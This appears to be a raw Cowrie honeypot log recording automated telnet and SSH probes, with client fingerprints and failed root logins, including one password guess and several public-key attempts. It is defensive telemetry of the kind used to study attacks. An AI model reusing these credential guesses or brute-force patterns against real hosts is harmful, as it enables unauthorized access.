{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39802,"dst_ip":"10.17.0.5","dst_port":23,"session":"de635e6e74b7","protocol":"telnet","message":"New connection: 192.119.13.58:39802 (10.17.0.5:23) [session: de635e6e74b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:01.978599Z"}
{"eventid":"cowrie.session.closed","duration":0.019658327102661133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:01.998115Z","src_ip":"192.119.13.58","session":"de635e6e74b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.400683641433716,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:07.883362Z","src_ip":"192.119.13.58","session":"f6c69acdd3c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44070,"dst_ip":"10.17.0.5","dst_port":23,"session":"878c8c347fc5","protocol":"telnet","message":"New connection: 192.119.13.58:44070 (10.17.0.5:23) [session: 878c8c347fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:10.581432Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55184,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6fd210229c4","protocol":"telnet","message":"New connection: 192.119.13.58:55184 (10.17.0.5:23) [session: b6fd210229c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:20.122428Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":55720,"dst_ip":"10.17.0.5","dst_port":22,"session":"5990148c7810","protocol":"ssh","message":"New connection: 103.98.149.87:55720 (10.17.0.5:22) [session: 5990148c7810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:24.435252Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41638,"dst_ip":"10.17.0.5","dst_port":23,"session":"f01448e36b64","protocol":"telnet","message":"New connection: 192.119.13.58:41638 (10.17.0.5:23) [session: f01448e36b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:24.490751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:24.722022Z","src_ip":"103.98.149.87","session":"5990148c7810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:24.726087Z","src_ip":"103.98.149.87","session":"5990148c7810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3d4","message":"login attempt [root/a1b2c3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:26.554720Z","src_ip":"103.98.149.87","session":"5990148c7810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.474735736846924,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:27.772703Z","src_ip":"192.119.13.58","session":"4115935bdf71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:27.828904Z","src_ip":"103.98.149.87","session":"5990148c7810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.23.226","src_port":47848,"dst_ip":"10.17.0.5","dst_port":22,"session":"d05eba2e8c6b","protocol":"ssh","message":"New connection: 23.94.23.226:47848 (10.17.0.5:22) [session: d05eba2e8c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:27.966401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:27.971611Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.046219Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:cb:19:90:e0:28:9b:c2:2a:22:ee:5e:9e:0e:d4:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSUN04u6CS11ZD9D1hNqX9WjZhVil2NMv8CrgW9Zsf1hHEpBzj+U4PCMPwstN/zZ5ILo7ZXR9jqVap2eVRmJ3Spv/0wk04X4DPHTtMQAhr3Wr7tUa6pAMqSCN/5FZnQHP/Mfu6mOBWGvmjgiFf1T0hwjdbRlG69YWQqh/P+sWOJAr30CDJnjX278Mvau0oHouEpfDPC5rH2MkdXEG1QyWBkue0MeS7QQk6qwlf4XXLGfgb+NK+aaxtRcMcBlJWCvZPxLJ9zDiqg7ZqvxrjqunzyoUJL2RbxZIIopFI2mkE5IN5lseSHhxtoNfXesYWTUJgDPDPjJz1zWbCSugzmWR3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:cb:19:90:e0:28:9b:c2:2a:22:ee:5e:9e:0e:d4:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.390886Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:cb:19:90:e0:28:9b:c2:2a:22:ee:5e:9e:0e:d4:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSUN04u6CS11ZD9D1hNqX9WjZhVil2NMv8CrgW9Zsf1hHEpBzj+U4PCMPwstN/zZ5ILo7ZXR9jqVap2eVRmJ3Spv/0wk04X4DPHTtMQAhr3Wr7tUa6pAMqSCN/5FZnQHP/Mfu6mOBWGvmjgiFf1T0hwjdbRlG69YWQqh/P+sWOJAr30CDJnjX278Mvau0oHouEpfDPC5rH2MkdXEG1QyWBkue0MeS7QQk6qwlf4XXLGfgb+NK+aaxtRcMcBlJWCvZPxLJ9zDiqg7ZqvxrjqunzyoUJL2RbxZIIopFI2mkE5IN5lseSHhxtoNfXesYWTUJgDPDPjJz1zWbCSugzmWR3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.394509Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:58:34:2e:0b:75:d3:e7:fa:fe:ca:0f:aa:cb:f5:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCc8/tRCjdxLYyOWQ69PBXfIsTGnXUI5Eo2XH/YUp0Y1mPwtZ9zb8iUZDZe2O6Qrui8Z7t5F5eqjSY9yoftCwDRUx+urqLOpBjfwD8zs52lQWG604eTVTB8vC6plaFdKWqtgSSQRf+L2cYd2MQHXxxR2Ie1O7UgtN6f/tdF5tIpxgG5ZXU1Vq73QoF5b7FiX3TR9qz1QFjeVOnPMIk0kZ/QIq5GrahQ7etisEoCOSnLIrqjzMcrGmJ4z5u9JwppTtN0JeqY7DZ4MaAKgwk3ckhSZx2fCV91OJHtw/P/P+ODYiRegq2/s6yanKNOZ1bp4xh6frN0VMUSWLaCbGigylcVmilfrW6QxRm1PwubqqC42IvXHYEP0teCPN4msbHZTd9/fFp6xGrzhh1igUMaGI7hqlcEERObXVe4q5mWgzBdB9DIDteSazm1KUg3zoEyscOFwHAwBBftQq500Ti9iuUPivnFIXlojGPwUlyVh3v25PlUqxYTz2rUrTlf6nJ2hRc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:58:34:2e:0b:75:d3:e7:fa:fe:ca:0f:aa:cb:f5:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.467121Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:58:34:2e:0b:75:d3:e7:fa:fe:ca:0f:aa:cb:f5:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCc8/tRCjdxLYyOWQ69PBXfIsTGnXUI5Eo2XH/YUp0Y1mPwtZ9zb8iUZDZe2O6Qrui8Z7t5F5eqjSY9yoftCwDRUx+urqLOpBjfwD8zs52lQWG604eTVTB8vC6plaFdKWqtgSSQRf+L2cYd2MQHXxxR2Ie1O7UgtN6f/tdF5tIpxgG5ZXU1Vq73QoF5b7FiX3TR9qz1QFjeVOnPMIk0kZ/QIq5GrahQ7etisEoCOSnLIrqjzMcrGmJ4z5u9JwppTtN0JeqY7DZ4MaAKgwk3ckhSZx2fCV91OJHtw/P/P+ODYiRegq2/s6yanKNOZ1bp4xh6frN0VMUSWLaCbGigylcVmilfrW6QxRm1PwubqqC42IvXHYEP0teCPN4msbHZTd9/fFp6xGrzhh1igUMaGI7hqlcEERObXVe4q5mWgzBdB9DIDteSazm1KUg3zoEyscOFwHAwBBftQq500Ti9iuUPivnFIXlojGPwUlyVh3v25PlUqxYTz2rUrTlf6nJ2hRc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.471438Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:11:68:e9:73:45:2f:67:9e:91:7c:7f:a8:61:e3:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYNCBiBihoA5N42sIu7BRfdz8uZQ9cGi5hZvpzsZDpCOUqfjwMjE77u48pxXBY5cYbxjFgn7t5x28obcN8C9GfOn66MHH+zmZk5L7dWJOVaYRpwLkaCnRgK7QAQuXWAk5tk1SS5K8zYANjOESKe2/D8HcPwghu6oJjoGveFQmVA2ldSu1apdCk8LQsEzq2kTw+efyybgkVRBSBDB63agOiUFNncVriJPy1ypwXF8J3ERkC0X0Z+YC2RP/BKoUtUX90KGeMXYSFqzUQNgYKajzk0vkmV66V3kemQdwsk/HSC23I5jJxLOmNEmCt59DyP3u5Ha5JbvIZMJM1zFCMHA4e2ZH56BDaIEUXupArGgc7+gQ4qrwSBV54HDEw90veMZ6CbVXsQ8labcer+jEAzNXsTgfxGIhKwnu3//UzATWtwC6silNqcgPSYFcVXqOK2p+7OSKBSu8B+MFRfO/PujUuJsh1IrPmbwTc+ztDZg9BmUfdz0Ssq0KzdSLstOFKrFk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:11:68:e9:73:45:2f:67:9e:91:7c:7f:a8:61:e3:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.546532Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:11:68:e9:73:45:2f:67:9e:91:7c:7f:a8:61:e3:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYNCBiBihoA5N42sIu7BRfdz8uZQ9cGi5hZvpzsZDpCOUqfjwMjE77u48pxXBY5cYbxjFgn7t5x28obcN8C9GfOn66MHH+zmZk5L7dWJOVaYRpwLkaCnRgK7QAQuXWAk5tk1SS5K8zYANjOESKe2/D8HcPwghu6oJjoGveFQmVA2ldSu1apdCk8LQsEzq2kTw+efyybgkVRBSBDB63agOiUFNncVriJPy1ypwXF8J3ERkC0X0Z+YC2RP/BKoUtUX90KGeMXYSFqzUQNgYKajzk0vkmV66V3kemQdwsk/HSC23I5jJxLOmNEmCt59DyP3u5Ha5JbvIZMJM1zFCMHA4e2ZH56BDaIEUXupArGgc7+gQ4qrwSBV54HDEw90veMZ6CbVXsQ8labcer+jEAzNXsTgfxGIhKwnu3//UzATWtwC6silNqcgPSYFcVXqOK2p+7OSKBSu8B+MFRfO/PujUuJsh1IrPmbwTc+ztDZg9BmUfdz0Ssq0KzdSLstOFKrFk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.549973Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:16:9b:46:db:48:f4:a7:aa:02:ed:6d:5d:5a:4a:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLwCJHlKJlbN8+xA9IznCCcnQtGa7oCXR6icvWEDfO1mcMXPu+asM30xz744LFIs7TF4QgEmqm4GssB5QhtnGzMz23ByZACqMD5GMOH3tLzKaDlqvZskgeb7eRNrSpA1O6bsWvbKPMJb2XYX0MeV5G8pxR/EICc+m/1/leF9sc86u1XmkXOu9PO/NBtN3sx1fawhTXdJ/Pp8ytlEge265xqY8BFFsChY7PW9xDiurhr7pr+REkZWv6ZOmOkQAgSwioBTOVevJF9su9v2uavFmkjfWSOMBJmdg7SgP1uJzC4Q8jMLAx5kmtqkqa66a11dOfXxVyXNJ8gkWgnUs60xzvuB96Apzt378hS4O4Rv8gHcshwFhcL6fqLdXzsLN6axsXl088fRnDcD8J8UjtNdsb2uth7xrdxDDdxOb8SLYWoSVhrD6xR0+9xfNvtvJ91IxS9G5f6Vcp8JU408ywS27AF+nC61MTUU2/PXdd0forNLnACOdQjppgXMdXYDax0N0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:16:9b:46:db:48:f4:a7:aa:02:ed:6d:5d:5a:4a:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.622599Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:16:9b:46:db:48:f4:a7:aa:02:ed:6d:5d:5a:4a:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLwCJHlKJlbN8+xA9IznCCcnQtGa7oCXR6icvWEDfO1mcMXPu+asM30xz744LFIs7TF4QgEmqm4GssB5QhtnGzMz23ByZACqMD5GMOH3tLzKaDlqvZskgeb7eRNrSpA1O6bsWvbKPMJb2XYX0MeV5G8pxR/EICc+m/1/leF9sc86u1XmkXOu9PO/NBtN3sx1fawhTXdJ/Pp8ytlEge265xqY8BFFsChY7PW9xDiurhr7pr+REkZWv6ZOmOkQAgSwioBTOVevJF9su9v2uavFmkjfWSOMBJmdg7SgP1uJzC4Q8jMLAx5kmtqkqa66a11dOfXxVyXNJ8gkWgnUs60xzvuB96Apzt378hS4O4Rv8gHcshwFhcL6fqLdXzsLN6axsXl088fRnDcD8J8UjtNdsb2uth7xrdxDDdxOb8SLYWoSVhrD6xR0+9xfNvtvJ91IxS9G5f6Vcp8JU408ywS27AF+nC61MTUU2/PXdd0forNLnACOdQjppgXMdXYDax0N0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.626774Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:11:c1:43:f4:f8:09:58:83:7d:84:b5:bb:02:14:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWQKcHTpEUWDCNgtMRB+n2swW34+AM8toTFx6JL4KTEFhTVLWOeqFPWin4ZKAUOAWcJQLuhSTB28BPb3UwHx1ZXZ5gcMm4ITvEnERMELUj5xWwltSNh+piKtrzyT4H94lUvofWhez+jrnemNQvLoRghxdEPUNlsfKu0q0S/mIqnFggCx9mpGwEoBvbnwCPXw6BPPOmSCQ5tGzRzA44LxDS9AVZDAhaY6+1opzCOIiKy0VKVSJKPOhJRpTZ3jTqRG7pjG+LHbaiXVx13KcAFHOQTKroVWADEdaNOSJtkcl/X5wFjVLeFj09FQ+60xHRr3FNrbNjMGIYEAh6TgVNzIS1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:11:c1:43:f4:f8:09:58:83:7d:84:b5:bb:02:14:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.701387Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:11:c1:43:f4:f8:09:58:83:7d:84:b5:bb:02:14:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWQKcHTpEUWDCNgtMRB+n2swW34+AM8toTFx6JL4KTEFhTVLWOeqFPWin4ZKAUOAWcJQLuhSTB28BPb3UwHx1ZXZ5gcMm4ITvEnERMELUj5xWwltSNh+piKtrzyT4H94lUvofWhez+jrnemNQvLoRghxdEPUNlsfKu0q0S/mIqnFggCx9mpGwEoBvbnwCPXw6BPPOmSCQ5tGzRzA44LxDS9AVZDAhaY6+1opzCOIiKy0VKVSJKPOhJRpTZ3jTqRG7pjG+LHbaiXVx13KcAFHOQTKroVWADEdaNOSJtkcl/X5wFjVLeFj09FQ+60xHRr3FNrbNjMGIYEAh6TgVNzIS1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.705647Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:28.779971Z","src_ip":"23.94.23.226","session":"d05eba2e8c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.37280488014221,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:31.886326Z","src_ip":"192.119.13.58","session":"b5a0559a3422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7352876663208,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:33.368704Z","src_ip":"192.119.13.58","session":"fa4d36f7ac34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40166,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6d2e47d35b","protocol":"telnet","message":"New connection: 192.119.13.58:40166 (10.17.0.5:23) [session: 2b6d2e47d35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:39.087191Z"}
{"eventid":"cowrie.session.closed","duration":38.912047386169434,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:39.824324Z","src_ip":"192.119.13.58","session":"ee2b3795e812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4d99d01136","protocol":"telnet","message":"New connection: 192.119.13.58:49176 (10.17.0.5:23) [session: 4f4d99d01136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:48.036483Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56960,"dst_ip":"10.17.0.5","dst_port":23,"session":"c217e29cb0c5","protocol":"telnet","message":"New connection: 192.119.13.58:56960 (10.17.0.5:23) [session: c217e29cb0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:50.004358Z"}
{"eventid":"cowrie.session.closed","duration":31.636526107788086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:51.758824Z","src_ip":"192.119.13.58","session":"b6fd210229c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.10265326499939,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:53.842548Z","src_ip":"192.119.13.58","session":"1e0912e963b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50790,"dst_ip":"10.17.0.5","dst_port":23,"session":"04e954a188fe","protocol":"telnet","message":"New connection: 192.119.13.58:50790 (10.17.0.5:23) [session: 04e954a188fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:55.305578Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51256,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ff3eed371c","protocol":"telnet","message":"New connection: 192.119.13.58:51256 (10.17.0.5:23) [session: 33ff3eed371c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:55.389884Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56604,"dst_ip":"10.17.0.5","dst_port":23,"session":"184f4f87556c","protocol":"telnet","message":"New connection: 192.119.13.58:56604 (10.17.0.5:23) [session: 184f4f87556c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:56.395792Z"}
{"eventid":"cowrie.session.closed","duration":46.73082208633423,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:57.312116Z","src_ip":"192.119.13.58","session":"878c8c347fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49752,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e5f5a25c87","protocol":"telnet","message":"New connection: 192.119.13.58:49752 (10.17.0.5:23) [session: f5e5f5a25c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:00.677811Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53634,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee1f4ec7f65f","protocol":"telnet","message":"New connection: 192.119.13.58:53634 (10.17.0.5:23) [session: ee1f4ec7f65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:01.221814Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":38622,"dst_ip":"159.203.135.109","dst_port":23,"session":"170a67b55091","protocol":"telnet","message":"New connection: 186.195.16.41:38622 (159.203.135.109:23) [session: 170a67b55091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:02.176001Z"}
